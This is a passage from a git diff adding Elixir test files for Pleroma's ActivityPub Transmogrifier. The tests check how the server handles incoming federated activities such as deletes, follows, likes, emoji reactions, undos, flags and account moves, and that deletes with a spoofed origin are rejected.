activity because we base our timelines on it. + # This should be changed after we unify objects and activities + refute Activity.get_by_id(activity.id) + assert actor == deleting_user.ap_id + + # Objects are replaced by a tombstone object. + object = Object.normalize(activity.data["object"]) + assert object.data["type"] == "Tombstone" + end + + test "it works for incoming when the object has been pruned" do + activity = insert(:note_activity) + + {:ok, object} = + Object.normalize(activity.data["object"]) + |> Repo.delete() + + Cachex.del(:object_cache, "object:#{object.data["id"]}") + + deleting_user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-delete.json") + |> Poison.decode!() + |> Map.put("actor", deleting_user.ap_id) + |> put_in(["object", "id"], activity.data["object"]) + + {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = + Transmogrifier.handle_incoming(data) + + assert id == data["id"] + + # We delete the Create activity because we base our timelines on it. + # This should be changed after we unify objects and activities + refute Activity.get_by_id(activity.id) + assert actor == deleting_user.ap_id + end + + test "it fails for incoming deletes with spoofed origin" do + activity = insert(:note_activity) + %{ap_id: ap_id} = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") + + data = + File.read!("test/fixtures/mastodon-delete.json") + |> Poison.decode!() + |> Map.put("actor", ap_id) + |> put_in(["object", "id"], activity.data["object"]) + + assert match?({:error, _}, Transmogrifier.handle_incoming(data)) + end + + @tag capture_log: true + test "it works for incoming user deletes" do + %{ap_id: ap_id} = insert(:user, ap_id: "http://mastodon.example.org/users/admin") + + data = + File.read!("test/fixtures/mastodon-delete-user.json") + |> Poison.decode!() + + {:ok, _} = Transmogrifier.handle_incoming(data) + ObanHelpers.perform_all() + + assert User.get_cached_by_ap_id(ap_id).deactivated + end + + test "it fails for incoming user deletes with spoofed origin" do + %{ap_id: ap_id} = insert(:user) + + data = + File.read!("test/fixtures/mastodon-delete-user.json") + |> Poison.decode!() + |> Map.put("actor", ap_id) + + assert match?({:error, _}, Transmogrifier.handle_incoming(data)) + + assert User.get_cached_by_ap_id(ap_id) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs new file mode 100644 index 000000000..0fb056b50 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs @@ -0,0 +1,61 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.EmojiReactHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming emoji reactions" do + user = insert(:user) + other_user = insert(:user, local: false) + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/emoji-reaction.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", other_user.ap_id) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == other_user.ap_id + assert data["type"] == "EmojiReact" + assert data["id"] == "http://mastodon.example.org/users/admin#reactions/2" + assert data["object"] == activity.data["object"] + assert data["content"] == "👌" + + object = Object.get_by_ap_id(data["object"]) + + assert object.data["reaction_count"] == 1 + assert match?([["👌", _]], object.data["reactions"]) + end + + test "it reject invalid emoji reactions" do + user = insert(:user) + other_user = insert(:user, local: false) + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/emoji-reaction-too-long.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", other_user.ap_id) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + + data = + File.read!("test/fixtures/emoji-reaction-no-emoji.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", other_user.ap_id) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs new file mode 100644 index 000000000..757d90941 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs @@ -0,0 +1,208 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.ActivityPub.Utils + + import Pleroma.Factory + import Ecto.Query + import Mock + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "handle_incoming" do + setup do: clear_config([:user, :deny_follow_blocked]) + + test "it works for osada follow request" do + user = insert(:user) + + data = + File.read!("test/fixtures/osada-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "https://apfed.club/channel/indio" + assert data["type"] == "Follow" + assert data["id"] == "https://apfed.club/follow/9" + + activity = Repo.get(Activity, activity.id) + assert activity.data["state"] == "accept" + assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it works for incoming follow requests" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Follow" + assert data["id"] == "http://mastodon.example.org/users/admin#follows/2" + + activity = Repo.get(Activity, activity.id) + assert activity.data["state"] == "accept" + assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) + + [notification] = Notification.for_user(user) + assert notification.type == "follow" + end + + test "with locked accounts, it does create a Follow, but not an Accept" do + user = insert(:user, locked: true) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["state"] == "pending" + + refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) + + accepts = + from( + a in Activity, + where: fragment("?->>'type' = ?", a.data, "Accept") + ) + |> Repo.all() + + assert Enum.empty?(accepts) + + [notification] = Notification.for_user(user) + assert notification.type == "follow_request" + end + + test "it works for follow requests when you are already followed, creating a new accept activity" do + # This is important because the remote might have the wrong idea about the + # current follow status. This can lead to instance A thinking that x@A is + # followed by y@B, but B thinks they are not. In this case, the follow can + # never go through again because it will never get an Accept. + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) + + accepts = + from( + a in Activity, + where: fragment("?->>'type' = ?", a.data, "Accept") + ) + |> Repo.all() + + assert length(accepts) == 1 + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("id", String.replace(data["id"], "2", "3")) + |> Map.put("object", user.ap_id) + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) + + accepts = + from( + a in Activity, + where: fragment("?->>'type' = ?", a.data, "Accept") + ) + |> Repo.all() + + assert length(accepts) == 2 + end + + test "it rejects incoming follow requests from blocked users when deny_follow_blocked is enabled" do + Pleroma.Config.put([:user, :deny_follow_blocked], true) + + user = insert(:user) + {:ok, target} = User.get_or_fetch("http://mastodon.example.org/users/admin") + + {:ok, _user_relationship} = User.block(user, target) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) + + %Activity{} = activity = Activity.get_by_ap_id(id) + + assert activity.data["state"] == "reject" + end + + test "it rejects incoming follow requests if the following errors for some reason" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + with_mock Pleroma.User, [:passthrough], follow: fn _, _, _ -> {:error, :testing} end do + {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) + + %Activity{} = activity = Activity.get_by_ap_id(id) + + assert activity.data["state"] == "reject" + end + end + + test "it works for incoming follow requests from hubzilla" do + user = insert(:user) + + data = + File.read!("test/fixtures/hubzilla-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + |> Utils.normalize_params() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "https://hubzilla.example.org/channel/kaniini" + assert data["type"] == "Follow" + assert data["id"] == "https://hubzilla.example.org/channel/kaniini#follows/2" + assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it works for incoming follows to locked account" do + pending_follower = insert(:user, ap_id: "http://mastodon.example.org/users/admin") + user = insert(:user, locked: true) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Follow" + assert data["object"] == user.ap_id + assert data["state"] == "pending" + assert data["actor"] == "http://mastodon.example.org/users/admin" + + assert [^pending_follower] = User.get_follow_requests(user) + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs new file mode 100644 index 000000000..53fe1d550 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.LikeHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming likes" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/mastodon-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _actor = insert(:user, ap_id: data["actor"], local: false) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + refute Enum.empty?(activity.recipients) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Like" + assert data["id"] == "http://mastodon.example.org/users/admin#likes/2" + assert data["object"] == activity.data["object"] + end + + test "it works for incoming misskey likes, turning them into EmojiReacts" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/misskey-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _actor = insert(:user, ap_id: data["actor"], local: false) + + {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) + + assert activity_data["actor"] == data["actor"] + assert activity_data["type"] == "EmojiReact" + assert activity_data["id"] == data["id"] + assert activity_data["object"] == activity.data["object"] + assert activity_data["content"] == "🍮" + end + + test "it works for incoming misskey likes that contain unicode emojis, turning them into EmojiReacts" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/misskey-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("_misskey_reaction", "⭐") + + _actor = insert(:user, ap_id: data["actor"], local: false) + + {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) + + assert activity_data["actor"] == data["actor"] + assert activity_data["type"] == "EmojiReact" + assert activity_data["id"] == data["id"] + assert activity_data["object"] == activity.data["object"] + assert activity_data["content"] == "⭐" + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs new file mode 100644 index 000000000..8683f7135 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs @@ -0,0 +1,185 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.UndoHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming emoji reaction undos" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + {:ok, reaction_activity} = CommonAPI.react_with_emoji(activity.id, user, "👌") + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", reaction_activity.data["id"]) + |> Map.put("actor", user.ap_id) + + {:ok, activity} = Transmogrifier.handle_incoming(data) + + assert activity.actor == user.ap_id + assert activity.data["id"] == data["id"] + assert activity.data["type"] == "Undo" + end + + test "it returns an error for incoming unlikes wihout a like activity" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + assert Transmogrifier.handle_incoming(data) == :error + end + + test "it works for incoming unlikes with an existing like activity" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) + + like_data = + File.read!("test/fixtures/mastodon-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _liker = insert(:user, ap_id: like_data["actor"], local: false) + + {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", like_data) + |> Map.put("actor", like_data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Undo" + assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" + assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" + + note = Object.get_by_ap_id(like_data["object"]) + assert note.data["like_count"] == 0 + assert note.data["likes"] == [] + end + + test "it works for incoming unlikes with an existing like activity and a compact object" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) + + like_data = + File.read!("test/fixtures/mastodon-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _liker = insert(:user, ap_id: like_data["actor"], local: false) + + {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", like_data["id"]) + |> Map.put("actor", like_data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Undo" + assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" + assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" + end + + test "it works for incoming unannounces with an existing notice" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + announce_data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _announcer = insert(:user, ap_id: announce_data["actor"], local: false) + + {:ok, %Activity{data: announce_data, local: false}} = + Transmogrifier.handle_incoming(announce_data) + + data = + File.read!("test/fixtures/mastodon-undo-announce.json") + |> Poison.decode!() + |> Map.put("object", announce_data) + |> Map.put("actor", announce_data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Undo" + + assert data["object"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + end + + test "it works for incoming unfollows with an existing follow" do + user = insert(:user) + + follow_data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + _follower = insert(:user, ap_id: follow_data["actor"], local: false) + + {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) + + data = + File.read!("test/fixtures/mastodon-unfollow-activity.json") + |> Poison.decode!() + |> Map.put("object", follow_data) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Undo" + assert data["object"]["type"] == "Follow" + assert data["object"]["object"] == user.ap_id + assert data["actor"] == "http://mastodon.example.org/users/admin" + + refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it works for incoming unblocks with an existing block" do + user = insert(:user) + + block_data = + File.read!("test/fixtures/mastodon-block-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + _blocker = insert(:user, ap_id: block_data["actor"], local: false) + + {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(block_data) + + data = + File.read!("test/fixtures/mastodon-unblock-activity.json") + |> Poison.decode!() + |> Map.put("object", block_data) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + assert data["type"] == "Undo" + assert data["object"] == block_data["id"] + + blocker = User.get_cached_by_ap_id(data["actor"]) + + refute User.blocks?(blocker, user) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier_test.exs b/test/pleroma/web/activity_pub/transmogrifier_test.exs new file mode 100644 index 000000000..561674f01 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier_test.exs @@ -0,0 +1,1220 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import Mock + import Pleroma.Factory + import ExUnit.CaptureLog + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :max_remote_account_fields]) + + describe "handle_incoming" do + test "it works for incoming notices with tag not being an array (kroeg)" do + data = File.read!("test/fixtures/kroeg-array-less-emoji.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["emoji"] == %{ + "icon_e_smile" => "https://puckipedia.com/forum/images/smilies/icon_e_smile.png" + } + + data = File.read!("test/fixtures/kroeg-array-less-hashtag.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert "test" in object.data["tag"] + end + + test "it cleans up incoming notices which are not really DMs" do + user = insert(:user) + other_user = insert(:user) + + to = [user.ap_id, other_user.ap_id] + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("to", to) + |> Map.put("cc", []) + + object = + data["object"] + |> Map.put("to", to) + |> Map.put("cc", []) + + data = Map.put(data, "object", object) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert data["to"] == [] + assert data["cc"] == to + + object_data = Object.normalize(activity).data + + assert object_data["to"] == [] + assert object_data["cc"] == to + end + + test "it ignores an incoming notice if we already have it" do + activity = insert(:note_activity) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("object", Object.normalize(activity).data) + + {:ok, returned_activity} = Transmogrifier.handle_incoming(data) + + assert activity == returned_activity + end + + @tag capture_log: true + test "it fetches reply-to activities if we don't have them" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.put("inReplyTo", "https://mstdn.io/users/mayuutann/statuses/99568293732299394") + + data = Map.put(data, "object", object) + {:ok, returned_activity} = Transmogrifier.handle_incoming(data) + returned_object = Object.normalize(returned_activity, false) + + assert activity = + Activity.get_create_by_object_ap_id( + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + ) + + assert returned_object.data["inReplyTo"] == + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" + end + + test "it does not fetch reply-to activities beyond max replies depth limit" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.put("inReplyTo", "https://shitposter.club/notice/2827873") + + data = Map.put(data, "object", object) + + with_mock Pleroma.Web.Federator, + allowed_thread_distance?: fn _ -> false end do + {:ok, returned_activity} = Transmogrifier.handle_incoming(data) + + returned_object = Object.normalize(returned_activity, false) + + refute Activity.get_create_by_object_ap_id( + "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + ) + + assert returned_object.data["inReplyTo"] == "https://shitposter.club/notice/2827873" + end + end + + test "it does not crash if the object in inReplyTo can't be fetched" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.put("inReplyTo", "https://404.site/whatever") + + data = + data + |> Map.put("object", object) + + assert capture_log(fn -> + {:ok, _returned_activity} = Transmogrifier.handle_incoming(data) + end) =~ "[warn] Couldn't fetch \"https://404.site/whatever\", error: nil" + end + + test "it does not work for deactivated users" do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + insert(:user, ap_id: data["actor"], deactivated: true) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it works for incoming notices" do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99512778738411822/activity" + + assert data["context"] == + "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" + + assert data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + + assert data["cc"] == [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ] + + assert data["actor"] == "http://mastodon.example.org/users/admin" + + object_data = Object.normalize(data["object"]).data + + assert object_data["id"] == + "http://mastodon.example.org/users/admin/statuses/99512778738411822" + + assert object_data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + + assert object_data["cc"] == [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ] + + assert object_data["actor"] == "http://mastodon.example.org/users/admin" + assert object_data["attributedTo"] == "http://mastodon.example.org/users/admin" + + assert object_data["context"] == + "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation" + + assert object_data["sensitive"] == true + + user = User.get_cached_by_ap_id(object_data["actor"]) + + assert user.note_count == 1 + end + + test "it works for incoming notices with hashtags" do + data = File.read!("test/fixtures/mastodon-post-activity-hashtag.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert Enum.at(object.data["tag"], 2) == "moo" + end + + test "it works for incoming notices with contentMap" do + data = + File.read!("test/fixtures/mastodon-post-activity-contentmap.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["content"] == + "

@lain

" + end + + test "it works for incoming notices with to/cc not being an array (kroeg)" do + data = File.read!("test/fixtures/kroeg-post-activity.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["content"] == + "

henlo from my Psion netBook

message sent from my Psion netBook

" + end + + test "it ensures that as:Public activities make it to their followers collection" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("actor", user.ap_id) + |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) + |> Map.put("cc", []) + + object = + data["object"] + |> Map.put("attributedTo", user.ap_id) + |> Map.put("to", ["https://www.w3.org/ns/activitystreams#Public"]) + |> Map.put("cc", []) + |> Map.put("id", user.ap_id <> "/activities/12345678") + + data = Map.put(data, "object", object) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["cc"] == [User.ap_followers(user)] + end + + test "it ensures that address fields become lists" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("actor", user.ap_id) + |> Map.put("to", nil) + |> Map.put("cc", nil) + + object = + data["object"] + |> Map.put("attributedTo", user.ap_id) + |> Map.put("to", nil) + |> Map.put("cc", nil) + |> Map.put("id", user.ap_id <> "/activities/12345678") + + data = Map.put(data, "object", object) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert !is_nil(data["to"]) + assert !is_nil(data["cc"]) + end + + test "it strips internal likes" do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + likes = %{ + "first" => + "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes?page=1", + "id" => "http://mastodon.example.org/objects/dbdbc507-52c8-490d-9b7c-1e1d52e5c132/likes", + "totalItems" => 3, + "type" => "OrderedCollection" + } + + object = Map.put(data["object"], "likes", likes) + data = Map.put(data, "object", object) + + {:ok, %Activity{object: object}} = Transmogrifier.handle_incoming(data) + + refute Map.has_key?(object.data, "likes") + end + + test "it strips internal reactions" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) + {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "📢") + + %{object: object} = Activity.get_by_id_with_object(activity.id) + assert Map.has_key?(object.data, "reactions") + assert Map.has_key?(object.data, "reaction_count") + + object_data = Transmogrifier.strip_internal_fields(object.data) + refute Map.has_key?(object_data, "reactions") + refute Map.has_key?(object_data, "reaction_count") + end + + test "it works for incoming unfollows with an existing follow" do + user = insert(:user) + + follow_data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) + + data = + File.read!("test/fixtures/mastodon-unfollow-activity.json") + |> Poison.decode!() + |> Map.put("object", follow_data) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Undo" + assert data["object"]["type"] == "Follow" + assert data["object"]["object"] == user.ap_id + assert data["actor"] == "http://mastodon.example.org/users/admin" + + refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it accepts Flag activities" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + object = Object.normalize(activity) + + note_obj = %{ + "type" => "Note", + "id" => activity.data["id"], + "content" => "test post", + "published" => object.data["published"], + "actor" => AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + } + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "cc" => [user.ap_id], + "object" => [user.ap_id, activity.data["id"]], + "type" => "Flag", + "content" => "blocked AND reported!!!", + "actor" => other_user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert activity.data["object"] == [user.ap_id, note_obj] + assert activity.data["content"] == "blocked AND reported!!!" + assert activity.data["actor"] == other_user.ap_id + assert activity.data["cc"] == [user.ap_id] + end + + test "it correctly processes messages with non-array to field" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Create", + "object" => %{ + "content" => "blah blah blah", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["to"] + end + + test "it correctly processes messages with non-array cc field" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => user.follower_address, + "cc" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Create", + "object" => %{ + "content" => "blah blah blah", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] + assert [user.follower_address] == activity.data["to"] + end + + test "it correctly processes messages with weirdness in address fields" do + user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => [nil, user.follower_address], + "cc" => ["https://www.w3.org/ns/activitystreams#Public", ["¿"]], + "type" => "Create", + "object" => %{ + "content" => "…", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + assert ["https://www.w3.org/ns/activitystreams#Public"] == activity.data["cc"] + assert [user.follower_address] == activity.data["to"] + end + + test "it accepts Move activities" do + old_user = insert(:user) + new_user = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Move", + "actor" => old_user.ap_id, + "object" => old_user.ap_id, + "target" => new_user.ap_id + } + + assert :error = Transmogrifier.handle_incoming(message) + + {:ok, _new_user} = User.update_and_set_cache(new_user, %{also_known_as: [old_user.ap_id]}) + + assert {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(message) + assert activity.actor == old_user.ap_id + assert activity.data["actor"] == old_user.ap_id + assert activity.data["object"] == 